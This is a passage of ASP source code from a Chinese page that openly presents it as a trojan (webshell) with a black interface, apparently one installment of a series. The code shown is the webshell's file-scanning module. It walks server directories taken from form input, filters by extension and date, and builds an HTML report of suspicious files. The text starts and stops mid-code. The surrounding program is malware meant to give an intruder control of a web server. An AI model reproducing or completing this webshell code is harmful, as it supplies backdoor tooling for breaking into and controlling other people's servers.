一款不错的asp木马 黑色界面(24)

        elseif request.Form("path")="." then
            TmpPath = Server.MapPath(".")
        else
            TmpPath = request.Form("path")
        end if

        timer1 = timer
        Sun = 0
        SumFiles = 0
        SumFolders = 1
        If request.Form("radiobutton") = "sws" Then
            DimFileExt = "asp,cer,asa,cdx"
            Call ShowAllFile(TmpPath)
        Else
            If request.Form("path") = "" or request.Form
("Search_Date") = "" or request.Form("Search_FileExt") = "" Then
                RRS("缉捕条件不完全<br><br><a 
href='javascript:history.go(-1);'>请返回重新输入</a>")
                response.End()
            End If
            DimFileExt = request.Form("Search_fileExt")
            Call ShowAllFile2(TmpPath)
        End If
RRS "<table width=""100%"" border=""0"" cellpadding=""0"" 
cellspacing=""0"" style='font-size:12px'>"
RRS "<tr><th>Scan WebShell -- 漫步云端修改版</tr>"
RRS "<tr><td style=""padding:5px;line-height:170%;clear:both;font-
size:12px"">"
RRS "<div id=""updateInfo"" style=""background:ffffe1;border:1px solid 
#89441f;padding:4px;display:none""></div>"
RRS "扫描完毕！一共检查文件夹<font 
color=""#FF0000"">"&SumFolders&"</font>个，文件<font 
color=""#FF0000"">"&SumFiles&"</font>个，发现可疑点<font 
color=""#FF0000"">"&Sun&"</font>个"
RRS "<table width=""100%"" border=""1"" cellpadding=""0"" 
cellspacing=""8"" bordercolor=""#999999"" style=""font-